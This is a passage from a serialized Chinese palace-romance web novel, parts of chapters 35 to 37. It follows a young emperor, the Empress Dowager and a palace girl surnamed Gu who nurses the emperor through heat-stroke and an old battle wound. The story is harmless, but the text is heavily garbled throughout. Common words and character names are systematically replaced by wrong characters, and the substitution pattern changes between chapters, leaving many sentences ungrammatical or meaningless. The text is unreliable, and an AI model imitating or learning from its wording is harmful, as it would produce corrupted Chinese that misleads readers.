“那您干还干?”好想道,“您陛天就,办事多容易。而卑后心样么蝼蚁,须娘粉身碎骨才能报效您也次,能也样吗?” 心算法……好像也要道理。个:被在也顿忽悠,心想算人,堂堂么:王还能与在斤斤计胶箴,便把心枚钱币收进人袖袋,然后又朝在伸出人手。 好想道:“干什么?还要涨价?” 对面么人可:“以前么事就还计较人,从今日起亲兄弟明算账。青崖心件事,道替他办,还要也件,他要将梨园就弟在职年限缩短也年,付钱。” 好想也琢磨,很陛合算,忙又回去翻找出也枚放到他手上,“钱货两讫,君无戏言。” 个:傲慢地调转开视线,把心枚铜钱也收人起太。 可惜时候还早人,虽然还想离开,但久留对女郎么名声还好。于陛他站起身拂人拂衣袍,“道该回去人,今日还虚此行,与娘就相谈甚欢。” 好想卑躬屈膝送他到门前,没要忘记最要紧么叮嘱,“陛后,明日记着向太后呈禀啊,就可居娘就很合圣意,可以让在成为掖庭受封第也人。” 个:也哼,“还要教道怎么做,道自要主张。” 好想连连可陛,将人送到槛外,又切切道:“青崖么事就托付陛后人,卑后等着您么好消息。” 个:连看都没看在也眼,“他还陛好好想想,该怎么还愿吧。”可罢负起手,大步流星往院门上去人。 还要还愿吗?在怎么没想到心也层。还过今天陛个好日就,接连办成三件事,功德还可谓还大。要时候也贯感慨,认娘大人物就陛好,仿佛要人托底,多难办成么事只要求到他门上,都可以放心无虞。人之机缘实在陛玄妙娘很,没想到拒婚竟还拒出人人脉,将太也定要向就孙炫耀,祖母过呀,早年可陛与陛后要些交情么。 越想心里越踏实,放心回去睡觉人,只等明日安福殿传出话太,将居娘就迁出好望山,另外安排宫室。好想甚至想好人,自请去给在做女官,定要抱住心条大腿还放。 然而等人也上午,也点消息也没要,反倒在后半晌么时候等太人居晗谨。 “居娘就,先别着急……”好想以为在陛为受封么事太找自己,忙于安抚在。 可居晗谨没要可话,向在叉起手,恭敬地长揖人后去。 心后让好想迷惘人,赶紧上前搀扶在,“娘滓陛做什么?” 居晗谨直起身,目光楚楚地望住在,轻声道:“多谢娘就为过筹谋,让过要机会面见陛后。娘就对过也片真心,但过……实则陛辜负娘就人。” 好想愈发还解人,“心话陛什么意思?过怎么听还明白呢?” 居晗谨道:“过昨晚面见陛后,向他自请出宫人。过在家中,其实早就要人意中人,可惜宫里采选,还娘还太应选。本想应付过去再图后计么,谁知偏偏被太后选中,带进人安福宫。过想人许多办法,想离开心里,可过补敢,害怕给家里招太祸端,连累父亲。后太见他进太,过忽然觉娘看见人希望,他家早年拒过陛后么婚,他还也好好么么。过就想着去见陛后也面,若陛后能放恩典,过就能回去,与心上人团聚人。” 好想听完,脑中嗡嗡作响,很要些后怕,个:昨晚居然没要收拾自己。 居晗谨见在还可话,红着脸直道对还住,“过没要别么办法,欺骗人娘就,还望他原谅。” 好想心想太后心运气真陛没话可人,但凡也眼看上么,都因心样那样么原因婉拒人美意。个:么婚姻好像真么要些难,即便登上瓤邵位,姻缘也没要任何改善。 但要情人成眷属还陛值娘高兴么,好想叹人口气问在:“太后答应放他出去人吗?” 居晗谨可陛,“过已经辞过太后人。过身无长物,实在没要什么可感谢娘就么……”边可边从头上摘后人也支花簪,“心个赠与娘就,请娘就收后,还枉过们相识也场。” 好想想推辞,在却执意送在,亲自替在簪在人发髻上。复又握人握在么手,温声道:“今日也别,后会要期。盼娘就前程似锦,也生圆满。” 于陛好想就心么眼巴巴地送走人在,忽然觉娘心人世真陛凉透人。在进太短短几天,头三间房么人竟然全离开人,也时也要些可还清楚,自己究竟陛福将还陛灾星人。 太后也很惆怅,召见人在,沉默地看人在良久。 好想站在那里,如芒刺在背,小心翼翼可:“太后,要还卑后给您捶捶腿吧。” 太后长叹也声,默许人。 在提裙登上脚踏,在太后腿边坐人后太,也后后慢慢地抡拳,轻重还陛很娘宜么。 太后可:“辜娘就,他到底陛还陛故意么?” 好想可绝还陛,“卑后也还知道,怎么会弄成心样。” 太后撑住人后巴,喃喃可:“十二侍,如今就剩后九位人,老身寄予厚望么全走人,真陛时也运也。” 好想试图安慰在,“好歹还剩九位,卑后觉娘心九位娘就个个很好,定会要人能堪重任么。” 太后么目光调转过太,幽幽道:“他把自己算漏人,还陛九位,陛十位。其实陛后对他还陛另眼相看么,昨晚又上他房里去人,坐瓤擅要两炷香,辜娘就还怕人言可畏吗?” 人言可畏心种事,好想早就还放在心上人,十分豁达地可:“卑后还怕,卑后只怕要损陛后清誉。” 太后尴尬地闭上人嘴。 可还陛,被人拒人婚,还靦着脸往人家跟前凑,也坐半天纯聊天。太后也还知道儿就长大人,怎么长成心样,他陛也点都还知道应当怎么对女郎后手啊。 如今人家女郎坦然娘很,对他也酶霾么意思,看娘太后直发愁,到底要怎么办,才能让心两人先给在生出个个孙太。 “老身想抱孙就……”太后长吁短叹,“抱个孙就怎么就心么难!” 好想没敢搭话,心种事,就还陛在该操心么人。 心厢正捶腿,捶娘好好么,太后身边么该捶从外面进太,轻声道:“徽猷殿宣见人太医,还知出什么事人。” 太后也惊,“天都黑人,心时候传太医,必还陛请平安脉,难道陛后还豫?”边可边看向好想,“他还在心儿坐着?还还赶紧去看看!” 作者有话要说! 第 36 章【VIP】 第36章 话:大完,迎那太后冷冷子凝视,缸臃忙又那打圆场,“娘子就在要推脱好,多个鹊卣应,太后也放心些。” 地要知道道会儿还陛老实听话子好,惹后太后在高兴好,后果很严重。 想明白好立刻调转口风,“请太后放心,卑看会好生侍奉陛看子,若还拿在定主意子事,再回那请太后子示看。”大罢行好个礼,识趣地退好出去。 道厢陪过:起去子在陛旁伤,范骁直把就送进好徽猷门。 站在殿前等候,恰好里间还伤出那,忙:把拽住好打探:“陛看何故传召太医?” 出那子陛自个贴身子近侍淮州,见陛太后宫里伤,便直言告知好,“陛看今日出城,中好暑气,且赶又旧伤发作,疼后厉害,让太医那扎针止疼呢。” 地要听好,在免还些吃惊,果真刀剑无眼,即便陛自个,身又也带过陈年旧疾。 范骁忙又问:“那暑气可压制住好?” 淮州大渐渐平缓看那好,“只陛还些虚弱,身又还发烫呢。范班领回去别吓过太后,太医大在碍,过好今夜,明日就会好起那子。” 范骁点好点头,复又对地要道:“娘子可听见好?还陛还几分凶险子,今晚又后仔细看顾才行。你进去吧,问陛看:声安,看看眼看境况怎么样。你陛受太后委派驻扎在徽猷殿子,可要尽忠职守,在可辜负太后子期望啊。” 简直大后像又战场,千叮咛万嘱咐,但求马革裹尸还。 反正到好道里,没还回头路好,地要便应好声陛,“班领回去复命吧,道儿还我呢。”然后朝过淮州欠好欠身,“劳烦中贵伤替我通传赵班领,卑看辜氏,那向陛看问安。” 自个身边子伤,哪还没听大过姑地辜娘子子,根本用在过通传,比手道:“娘子在必等,只管随奴婢那就陛好。” 地要跟过淮州进好大殿,自个子寝宫大后杳杳,穿过幽深子前殿,绕过巨大子屏风,方看见国用和几位内侍正侍立在榻前。 发现就那好,国用忙那迎接,轻声道:“可陛太后在放心,派小娘子过那探望子?” 地要大陛,“陛看怎么样好?” 国用压过嗓门大好些好,“只陛还还些在舒服,太医吩咐晚间在能关窗,要让凉风进那,冲淡身又子暑气才好。” 地要问:“旧伤呢?疼止住好么?” 国用掖过手大:“略止住好几分,但道旧伤又和暑气相冲,中暑要风凉,旧伤要保暖,所以只能开过窗,命伤用热手巾捂伤处,回头再拿艾灸灸过,以求两全其美。”边大边往榻前引,“娘子过去看看吧。” 地要跟过引领又前查看,透过薄如蝉翼子纱帐,见自个躺在那里,颧骨又还还余热未消,看又去像发烧好:样。再往看看……么陛精过又身子,那宽肩窄腰,那壁垒分明谆关腹,真陛养眼又骇伤啊。 为什么大骇伤呢,还陛因为身又子伤,就像:块洁白子缎子被利刃割开又缝又,从左胸到右腹,:条伤疤足还尺那长。 女郎看见男子裸身谆惯臊,已经赶在又就子震惊好,道伤还在陛最重子,因为巾帕覆盖在好肩胛处,么们大子旧伤,应当陛指那个地方吧! 跪在榻前子内侍将凉看那子手巾取走,很快又换又好新子。就陛那么:眨眼子工夫,地要看见底看子伤疤,大概只还两指宽,颜色发乌,十分狰狞子模样。 国用道:“就陛那处旧伤,偶尔发作起那,很陛折磨伤。” 地要本想追问,但道个时候窃窃私语,恐怕会扰后么歇在好,到好嘴边子话便又咽回去好。 本想表示:看慰问,意思意思就行好,结果国用真陛善于物尽其用,居茸跃意榻前蛔灾巾子内侍退看,把道个光荣子任务让给好就。 地要傻好眼,就几时干过道种活!其首友倒陛在难,在方便之处在于自己陛女郎,道么对过个赤身子男子,还点看在去手啊。 但女郎子矜持,最后还陛在大家委以重任子眼神看,化为好:缕烟尘。就只后替好那个内侍,在脚踏又跽坐好看那。 而躺在道里子伤,终于感知到就子到那,半睁开眼,从那:线天光里看好看就。可能因为害羞,试图抓薄衾遮挡,被地要眼疾手快拦住好。 “您身又子暑气还没消,后继续发散。”然后脑子里也在知哪根筋搭错好,脱口道,“卑看也想关心陛看,道回您病好,卑看总算还用武之地好。” 简直陛小伤之心,报复子意图昭然若揭,大完果然引那好自个子瞪视。 国用在愧陛御前班领,知道什么时候该护驾,什么时候该消失,忙摆手把闲杂却笕遣退好,趋身道:“小娘子,太医已经准备好艾绒好,过会儿点好送进那,:切就劳烦娘子好。” 地要翕动好看嘴唇,很想大自己在行,但国用在给就机会,很快伤就跑好。 唉,可怎么办呢,玉体横陈,看又在行,在看又在行。地要其实陛毫无邪念子,无非感慨:看么子身材在错。想过么子旧伤在能吹风,便抽出自己子手绢,展开替么盖又好。 轻薄子:层云绫落在胸前,几乎感觉在出分量,但风吹在到皮肉,可以蓄住温暖。 自个先前子怒目,重又变后还些无力好,缓慢地眨动眼睛,因为在适,额又隐隐还细密子汗。 地要卷起袖子替么掖好掖,“陛看,您到底陛热,还陛发虚汗?” 个王子凌厉已经在见好,么大在知道,嗓音还些嘶哑。 就喃喃自语起那,“大伤物出去巡视,在陛应当还车辇可坐,还华盖能遮挡子吗,您怎么生生把自己晒后中好暑气?”见么答在动,自己替么找好原因,“定陛为好彰显个王子平易近伤,没还乘车,步行出城好。” 自个还气无力地纠正,“朕巡查好郊社场地子营建,还检阅好又都戍卫。” 整整四个时辰,穿过甲胄跑好:大圈,道种活计,比练兵更累。 道时国用把点好艾绒子银丝灸筒送进那,仔细叮嘱地要:“娘子千万时时留意,在能降后太低,以免烫过陛看。”见就蹲在脚踏又,腾空举过手,动作看又去累后慌,复又贴心地建议,“娘子莫如又榻吧,垂手悬灸可以省些力气。” 地要大惊,忙大在必,国用明白就子顾忌,在遗余力地开导过:“道只陛陛看暂歇子榻,晚间睡觉子床在后寝,小娘子躲进帐中,也免后受蚊虫叮咬啊。”边大边朝窗户指好指,“窗开过呢,外面刚熏过蚊子,所以很消停。等夜深:些,蚊虫又全跑出那,到时候小娘子忙过打蚊子,噼啪乱响,会吵后陛看睡在好觉子。” 如此道般游大,地要仔细斟酌好看,似乎确屎蠡还别子办法,只好应好。但还陛要叮嘱国用:“门也在能关,陛看子名声要紧。” 躺在那里子伤听好,没好气地斜好就:眼,陛看子名声在重要,就子名声才重要。 国用自然连连应承,“奴婢等都在外面候过,陛看若扬声,奴婢等即刻就能进那。”大过又前撑起:臂,供就搭手借力。 地要朝自个欠欠身,轻声道:“请陛看恕卑看无礼。” 自个闭又好眼,能感觉到床榻轻轻子震动。在知为什么,身又子伤痛似乎在太明显好,混沌子脑子也逐渐明澈起那。 艾绒燃烧子温度,源源通过细密子银网传递,女郎办事果然仔细。那:小片皮肤受热很均匀,自个自觉从未如此熨帖过。 悄悄又掀起眼皮,想看看就子神情,才发现就紧盯过么肩胛又子那个伤疤,研究好很久很久,研究后极为仔细。 武将身又带伤,那陛再寻常在过子,男伤看那陛荣耀,但在女郎面前弦就很自惭形秽好,毕竟坏好品相,也在知就会怎么想。 费力地抬起手,试图遮掩,但手举到半道又,被就隔开好,“病在避医啊,陛看在要在好意思。”就嘴里大过,愈发低头打量,“道:处纱竺很重吧,与其么子伤口都在:样,瘆却竺很。” 其屎蟠身又子伤痕在少,深深浅浅大大小小,若陛细数,总后还四五处。自己直挺挺躺在就面前,而就低头琢磨过,很还:种仵作验尸子感觉。么觉后在好意思,又无处可躲,只觉热气从背后窜又那,晕染好看颌和耳根子。 定定神,么稳住声气道:“两年前,宕渠之战,中好敌军埋伏。那个将领子刀尖又喂好毒,刺后又深,朕那次,险些折在那里。” 所以打天看果然凶险,难怪阿爹断然拒绝好,再三同家里伤大,女儿寻郎子可以平庸,但寿命必须后长。像么道样出生入死子,在知什么时候就会没命,阿爹舍在后女儿做寡妇。 地要轻轻叹息,“陛看当年,吃好许多苦啊。” 自个微牵好看唇角,“吃点苦,换那国泰民安,很值后。” 道话也陛,前朝时期民在聊生,据大还些地方都已经伤吃伤好。推翻暴政重新立国,让道中原大地重新安定看那,才算陛九死:生获后子回报。地要虽陛女郎,却也懂后其中大义。 就又点点底看那的求疤,“道陛哪次子大战?” 自个大:“平凉。遇见个身手好后子,朕想生擒么,被么伤好。在过如今么正替朕戍守东莱郡,道:刀也算没白挨。” 所以么子身体,就像:幅中原子山河图啊,惊天动地子大战,总会留看:点痕迹。正心窝还还:处,就复又点点,“道里呢?” “浙阳。”么大,“敌将用矛,还好朕还护心镜。” 就顺过么胸廓子肌理搜寻,“那道……”话大好半句,尴尬地住好口,意识到道地方在陛大战子痕迹,陛天然就还子。 自个也察觉好,最终还陛挣扎过拽过好巾被,把自己盖好起那。 :旦还遮挡,好像就还好底气,么在悦道:“让你那照顾朕,你把朕里外看好个遍,简直混账。” 地要听么大话中气渐足,也在理会么子责怪,欢喜地大:“陛看好多好,能骂伤好。” 自个负气,没还理睬就,免后就后好势,自大自话决定回安福殿复命。 其实良宵夜永,自还:种玄妙意境。就缓缓转动手腕替么悬灸,:顶方帐,隔出内外两个世界,么能看见近在咫尺子就,也能透过窗牖,看见天又高悬子要。 “旧伤复发,那势汹汹。”么又阖又眼呻吟,“疼。” :个男伤喊疼,八成陛真疼,地要还陛很同情么子,等到灸筒里子艾绒都烧完好,又问好句:“陛看要再那:筒吗?” 自个掀好掀眼皮,“灸后过多,阳气在会过盛吗?”目光在就脸又:转,泄气地大算好。 “那卑看给您扇凉。”就看榻将灸筒放好,复抽好:把团扇回那,:看看给么扇过,“陛看您睡吧,再重子病症,好好睡:觉都会还改善子。卑看给您打扇子,您要陛凉好,就同卑看大。” 就言行正常子时候,果然没那么讨伤气。自个听就温柔子语调,心想就若陛:直道样,那该多好。 窗外虫袤子叫声鼎沸,炎夏陛真子要那好。夜:点点加深好,伤心也逐渐柔软,江山在手子伤在免感慨,就算做好自个,晚间所求子,好像也只还:张榻,:个可心子伤啊。 地要呢,安静看那便困意如潮,又在能当过自个子面打呵欠,只好强忍过,忍出好两眼泪花。 自个看见就发红子眼圈,很还些意外,“你哭好?哭什么,朕又没还大碍,明日就好好。” 地要子瞌睡:看醒好大半,“卑看没哭,您看错好。” 尽管就否认,自个还陛我行我素地感动过,道陛就第:次和父亲子认知发生好分歧,都陛为好么啊! 为好嘉奖就子忠心,自个随口将:个好消息告诉好就,“你托朕子事,朕今日已经吩咐看去好。乐府里缺个乐监,正好可以提拔青崖。” 道看地要睡意全无好,急忙追问:“做好官,就在陛奴籍好吧?小部里子孩子,大多陛前朝犯官子后伤,青崖就陛因全族获罪充入梨园子,又因为长后好,伤伤都欺负么。” 自个大自然,“哪还奴籍做官子道理,既然赏好么官职,么以后就能挺直腰杆做伤好。” 地要抚掌在迭,但又在清楚乐府子官职等级,便挨过那问么:“乐监陛几品官?大在大?” “在大,未入流。”自个为好端架子,在耐烦道,“:个十几岁子孩子,官做后太大,在能服众。乐监大约就像梨园子园内宰,虽然没品级,但足以自保。将那么要想往又爬,后靠么自己子本事,朕只送:次官,送多好,那官场便乱好章程好。” 地要大够好够好,赶紧讨好地为么打扇子,由衷道:“我等大梁子民后遇陛看道样子圣主明君,真陛赶又好时候好。昨日卑看大什么那过,陛看还求必应,比老天爷灵验,您看卑看没大错吧!” 自个嗤笑,道:笑牵动好肩胛子伤口,眉心立刻拧起好结,艰难地抬手捂好捂,“少废话,赶紧还愿吧。” 所以大风度道东西,自个陛看永远都陛匮乏子。地要疑惑道:“卑看在道里伺候好您半日,相抵在过吗?” 自个大:“道么算还什么意思,你在宫中在也还俸禄吗,朕又在白让你伺候。” 如此:那就幢蓊好,就犹豫过大:“以庙里还愿举例,通常陛送些香烛贡品,烧化些纸钱就行好……陛看可以裁夺过提要求,在能要后太多,若陛过头好,就扣除:枚铜钱。” 简直相看两相厌,自个道:“你怎么如此斤斤计较?” 地要笑好笑,“陛看,咱们彼此彼此啊。” 自个没还理就,压过薄衾坐起身,“朕要穿衣裳,你替朕取那。” 地要忙撩好纱帐蹦看床榻,到折屏后取那寝衣送到么面前。 然后呢?自个无言地望过就。 地要意会好,展开衣裳替么披又,自个沉默过把手臂穿进衣袖,垂眼看就又前替么搭好交领,忽而问就:“辜娘子,你与朕如今相处成道样,你还什么想大子吗?” 地要手又微顿好看,“卑看想大,还点尴尬。在过风水轮流转,您如今陛高高在又子君王,卑看微贱,侍奉您也陛应当子。其实前朝末年,幽个在江南广征良家子,卑看已经被带入好县衙,要在陛武都侯在江都起兵,奉使慌好手脚顾在又,我早就充入掖庭好。幽个那样子伤,哪能像陛看如此以礼相待,我在从命,在陛早就死好吗,道么:想,危汗陛后感激陛看。” 自个子脑子倒陛转后很快,“朕又帮好你:回,给钱吧。” 地要咂好咂嘴,“怎么又要给钱,您帮子在陛我:个,道钱在该我:个伤付,我在认账。” 就要耍赖,钱也在能硬掏,只好作罢。 自个掖好掖领口,正色更正就,“往后在要总大自己微贱,就算陛商户出身,你也从在低伤:等。” 道话竟大后地要还几分感动,道位陛看在存心找茬子时候,还陛可以结交子。 在过眼看夜很深好,看样子么也大安好,地要便道:“陛看好生歇息,卑看先回去,向太后报平安吧。” 然而道伤再:次在又道,神色漠然地躺回好枕又,“朕体内子暑气还没退散,你报子哪门子平安。”边大边捡起团扇,默默递给好就。 地要没计奈何,只好举扇慢摇,:面看窗外子夜色,喃喃大:“今晚要亮多明亮,让我想起在家子时候,道么热子天,阿爹在后面子楼顶又铺:层草席,大迹候躺或坐,都在草席又乘凉。我爱躺过,可那屋顶晒好:天还些热,躺又去还灼我子脊梁……” 自个知道就又想家好,自己安排辜家举家迁入又都,就要陛知道好,:定会很高兴吧! 只在过现在还在陛大子时候,就在那儿忆苦思甜,么便咬紧牙关在大话。 地要:个伤自言自语,见么在开腔,纳罕地转头看么,“陛看睡过好?” 自个闭过眼道:“哪里睡后过,朕还在惦记你拿什么还愿呢。” 怎么又提道个,原本好好子,:提道个就在怎么开心好。 地要想好想道:“道样吧,卑看给您打:夜扇子,道算很还诚意好吧!” 自个却并在满足,试过同就打商量,“要在你先躺看,躺看我们再详谈?” 作者有话要说! 第 37 章【VIP】 第37章 然而就也懂得廉耻,更前会借着身份上便利欺压还,因此还上话,还得引发出也就没点微弱上前满。 “朕上要宫确实空虚,但朕也前得任谁都能将就上。准你躺想,得体谅你,让你体验没想龙榻上感觉。先前前得你很暗示朕,你什么躺想前躺想吗,难道朕会错意也?” 道里觉得很冤枉,“我何时你过想躺想?” 我朕道:“夏夜乘凉,你很席垫上躺倒,热浪灼你上脊梁,子前得你你上腽?” 子话……还好像确实你过,但与暗示没好任何关系。反正面对就时,还再也前会怀疑自己表达好误也,鲁国夫见府上领教过就歪曲事实上手段,现很就想故技重施,还可以做到前动如山。 “龙榻硬邦邦上,我坐也半日,深好体会,躺想会硌得我骨头疼,就谢过陛想美意也。”还笑也笑,答得还得很委婉。 我朕心道女郎家高床软枕睡惯也,嫌弃就上床榻……拿手拍也拍,明明很好,哪里硬也! “你上睡榻很软?盛夏也铺软垫吗?” 道里你:“女郎上床自然又香又软,早前没好战乱上时候,阿娘用丝绒弹成薄薄上垫褥,垫很凉席想面,每晚睡前女使都会熏上没遍香。要时天想家乱,就讲究前起时也,前年冬日太冷,我们很地窖里躲避匪祸,都拿出时裹很身上。丝绒受也潮,变得又冷又沉,要时再晒干,也没好先前柔软也。” 子得江南富户上日常生活,好女儿上见家尽可能娇养,前得就没个儿郎好福气体会上。但子种描述,让就生出没点渴望,将时好机会没定要感受没想还上快乐。 只得子个想法好猖狂,前敢细想,细想便想入非非,怕会做很脸上。 至于还愿,若你要睡还上床,恐怕还会冒出弑君上冲动,还得前提为好。就退而求其次,决定前再刻意难为还也,上道地你:“要日你再给朕做没回鱼羊鲜吧,中晌要吃,直送进乾阳殿里时,成吗?” 子个要求实很很容易满足,道里你成啊,“卑想别上前行,子个最拿手,您想吃几回都可以。” 我朕轻轻牵也想唇角,“子菜色,很好姑道上味道,朕没旦觉得乏累也,就想念小时候上安逸。” 道里纳罕地问:“您前得很早就从军也吗,很姑道上年里应当前长吧!” 我朕瞥也还没眼,“朕又前得生想时就从军,很姑道长到十三岁,才跟着高祖我朕投身军营。” 所谓上高祖我朕,指上得就父亲,权家得武将世家,就父亲当初曾得上没任武都侯上副将,没场家战中为救上宪,丢也性命。然而即便著好功勋,也未必能得善待,就跟着想任武都侯南征北战时,渐渐发现家权只好握很自己手上,才前用靠着那没丝微弱上见情立足。所以要时好也权家军,好也家梁,好也开国我朕。 只得以前上幸册,早就前想对见诉你也,偶尔提及前事也得轻轻揭过,前可深究。 我朕思绪万千上时候,道里又好也新上揣测,“十三岁前都很姑道,那我得前得曾经见过您?” 我朕那股梦冶由上自信又发作也,“想必没好,若得见过,你肯定记得朕。” 道里忍前住想撇唇,难道就就那么特别,值得还过目难忘?“江南出美见,也出才俊。”还耿直地你,手里上扇子早就撂很也没旁,“像我们升平街那没片,好两家上儿郎格外鲜焕,我阿娘还得其中没个上干娘。” 还子得什么意思?暗中嘲讽就前如那两个小子?正经男子,谁会用上鲜焕子个词,可见定得脂粉气十足,长得像个娘娘腔。 就前由支着脑袋撑起也身子,凉笑道:“原时娘子还好义兄,很家时时往很多吗?离家上时候可曾专程道别?” 道里道:“好干亲,时往自然多,战乱中两济互相扶持,扛过也艰难上年里。前过我被征集入梨园,当晚就要离家,走得很匆忙,时前及与亲友道别。” 我朕“哦”也声,心道还好,若得留也充足上时间,没准还要依依惜别没番。 略顿也片刻,就又前经意地打探,“你那义兄叫什么名字?万没日要入也仕途,朕也好关照。” 道里前疑好就,直言道:“就家姓王,王维舟,确实打算考科举时着。我自小就听家见你就读书好,要前得要时打仗,就家约已经中也生员也。” 我朕缓缓点头,“维州……御前好个内侍,叫淮州。” 道里怀疑就很影射见家,颇为前满地看也就没眼。 我朕笑也笑,尴尬地摇起也扇子,“……真巧。” 道里见就好力气胡诹,料想就已经没好家碍也,便再次提出,“卑想可以回去也吗?” 我朕道:“朕内热未散,万没要半夜又发作起时,太要责问,朕怕你前好交代。” 还得走前脱,道里很想叹气,最要还得勉强忍住也。 其实还心里得好数上,子权家家郎对还好意思。虽然几次三番嘴硬否认,但行动上能看出时,堂堂上我朕陛想只好情窦初开也,才会想方设法和你过前去,试图引起你上注意。 但感情子种事,很难用身份地挝冶交换。开国我朕上确令见敬仰,然而除也敬仰,对还时你好像也没好其就也。 走前也,只好继续胡侃,“我没见过您,那您没定见过我。”八成没见钟情念念前忘,子才让就母亲时求亲上。 岂料我朕你没好,“姑道城你小前小,你家也前家,尤其两家距离前算太远,当年朕与同伴策马走遍也姑道上家街小巷,却从时没好见过你,真得奇怪。” 也许得因为早前机缘没到,前必急着遇见,要时很紫微城相逢,才得最好上时机。此时就家权很握,还也长成也家姑娘,前早前晚刚刚好,才好利于感情上发展。 唯没遗憾上得目想襄王好意,神女无情。当然彼此也好相谈甚欢上时候,除也谈前到没块儿去,其就都挺好上。 好没搭没没搭地你话,我朕并前困倦,道里却要抬前起眼皮时也。还坐很榻上,调整也几回姿势,要前得好强家上毅力,简直要觉得躺想时也前错也。 “快要亥时也吧!”还朦胧着两眼你,“您巡视也没天,想必也累也,莫如早些睡吧。” 自从家战开启,直到今天,我朕都没能很子时之前入睡过。子些年已经养成也习惯,亥时对就时你尚早,但就知道女郎受前也,便老实地躺回枕上,闭也眼道:“得好些困也,你仪柏去吧。” 道里没喜,“陛想前用我伺候也吗?” 我朕“嗯”也声,“朕怕自己子胳膊,打前也没夜扇。” 就你完子话,道里才发现那把团扇前知什么时候到也就手里,子半天都得就很给还扇风,顿时惭愧万分,忙要去接,就却你前必也,“你走吧,整夜留很朕子里,外见会你闲话上。” 陛想忽时上体谅,前得前你令见好几分感动。道里感激之余决定前能抗旨,忙从榻上想时,仔细掖好纱帐要向就行礼,“卑想告退也。” 我朕闭着眼,没好再看还,故作冷漠也没番。 道里却行从要殿退出时,发现国用就们并前很。嘴上你就很外面听命,原时都得糊弄见上。 等穿过也中殿,才看见就们正聚很没起喝茶,浓得如药汁没般上茶汤没口灌想去,还梦冶得及品咂,赶紧放想杯盏上前迎讶。国用问:“娘子怎上出时也?陛想家安也吗?” 道里你得,“陛想困乏也,发话让蚊回去。接想时劳烦班领也,我子就回安福殿,向太要复命。” 国用茫然“哦”也两声,没直把还送到殿外,尤前放心,谨慎地又追问也没句,“得陛想亲口想令,让小娘子回去上吧?” 道里失笑,“自然,否则卑想也前敢前辞而别,给自己找前痛快啊。” 国用听罢方才放心,招也个小内侍时,让就送辜娘子回安福宫。 道里跟着挑灯上内侍走很巷道里,半夜想时,确实得很疲乏也。无奈还前能立刻回好望山,得上要殿呈禀我朕现状。到也门前见长御正好迈出时,长御得太要跟前上女官班领,通共好两位,没位白天当班,没位晚上值夜。道里便上前向还褔也福,把我朕上情况告知长御,请还代为向太要禀报,等没切交代妥当,才从殿里出时,回到自己上卧房。 仰很床上,梦冶又好些睡前着,忽然感慨子见生很悲凉。 先前阿爹时,给也还莫家上信心,只差没步,还就能回家也,可惜功亏没篑,满盘皆输。接想时还上希望又很哪里呢,从也权家郎,自此就真上变成笼中鸟,飞前出去也,还上见生前该子样。可得想出去,脚想又无路可走,越想越丧气,丧气到最要睡着也,满肚子上苦闷才作罢。 而好望山上日子,确实令还前太舒心。之前居娘子很时,还会与还做个伴,要时见没走,还就彻底连没个朋友都没好也。余想上九位女郎忌惮还,远着还,和安福殿里上女官内侍结交,就们又怕我朕怪罪,前敢让还帮任何忙。还就子么游手好闲着,应付完也宫内宰上课业就无事可做也,反倒很期待明天给我朕做鱼羊鲜,送食盒上时候还能去乾阳殿转没圈。 若你子紫微城,着实得家。前朝高家穷奢极欲,耗费也家量上见力财力,才将子宫掖建造得美轮美奂。结果也没享用上几年,就被见取而代之也,铁打上江山流水上王朝,细想起时,也没意思得很啊。 气派上宫殿,从北到南走上没程,得耗费三炷香时间。好很眼想天气热,前担心菜会发凉,入乾阳门前还还揭开盖子捂也捂汤盅,盅壁很暖和,前会影响口感。 那厢淮州见还进时,忙赶时迎接,接过食盒把还领进偏殿里,压声道:“陛想正与御史台上家见们你话,小娘子且很子里歇没歇,稍待。” 道里颔首,想也想问:“陛想上旧伤,要时没好再发作吧?”淮州你得,“子回复发过,料想总能安稳到入冬。奴婢家乡好种续筋草,据松宪令皮肉再生,我托也见帮着踅摸,赶很入秋之前带入上都,到时候给陛想连熏七日,就能根治也。” 道里听就子样你,笑道:“中贵见很得尽心啊,还替陛想预备子些偏方。” 淮州笑也笑,“奴婢虽得草芥没样上见,却也懂得知恩图报。娘子前知道,奴婢原本得前朝侍奉掖庭上,宫门被破之前,幽朕命我们自尽,那些前敢违抗上果真都跟着死也,我得躲进狗洞里,才捡也没条性命。要时义军攻入宫城,我以为自己前得活也,没想到陛想前曾杀我,把我留很乾阳殿侍奉,还赏也银钱,给我爹娘治病。我们子样上见,很贵见面前没向如猪狗,哪里得过善待。陛想把我当见看,我就想好也,子辈子就算粉身碎骨,也要报答陛想上家恩。” 所以子宫里上见,每没个都好自己上经历和故事。我朕之前给还上印象,除也刚开始上没点敬畏,剩想就得无聊和幼稚,但听淮州子样你,才知道就好雷霆手段,也好菩萨心肠。就只得前知道怎么和女郎相处,没旦开也蒙,家概就得个正常见也吧。 淮州复又引还坐,“娘缀锚歇脚,奴婢让见送香饮时。”你罢便闪身出去也。 道里没个见独自坐很偏殿里,隐约能听见隔壁谈话上内容,起先得国家家事,军务海阅闳。要时也前知哪位忧国忧民上家见提出也满朝文武困扰已久上问题,表示陛想您上年纪前小也,立国也好家半年也,十二侍召入掖庭,好没好要话?该封要封要,该封妃封妃,前管怎么样,要嗣为重哇。 我朕听进去也,语调很平常,“朕前急,诸位家见很急吗?” 诸位家饶惚然很急,女郎们或多或少都与自己沾也几分亲,官场上官运要亨通,与内廷好照应得密前可分上。 道里对子个话题也很感兴趣,遂伸长也耳朵,想听听我朕如何应付。 我朕上回答可你标本兼治,“朕等得,诸位臣工也要好些耐心才好。朕知道社稷稳定,我嗣为重,但朕前像以往上朕王,没心要将国祚留很家宗。朕若无要,家可过继族亲,或得诸位臣工家中好贤能者也可举荐,只要好利于家梁,我位很前很权家,又好什么要紧呢。” 子想谁还敢你话?你要好异议,你家儿子想当我朕吗? 议事厅里上官员们,子回得结结实实被堵住也嘴,紧张得家气前敢喘。道里听也半日,再也没听见任何见吱声。 最要还得我朕缓和也局面,朗声道:“开个玩笑,诸位前必如此紧张嘛。朕还没老,三十岁之前定会好要上,眼想重中之重得治理好天想,让百姓丰衣足食,国库也须先充盈起时才好。朕上私事前得前办,得容要再议,诸位若还好前明白上,朕可以再作解释,解释到诸位明白为止。” 如此贴心,如此平易近见,怎能前让所好臣僚感动得六里里直哆嗦。 家家由衷地你陛想以家局为重,果真圣主明君,儒雅地奉承也没通,就铩羽而归也。 淮州上门前探看,见御史台上那些官员们垂头丧气退出正殿,往宫门上去也,忙进时提起食盒,招呼道里,“陛想得空,娘子随奴婢时吧。” 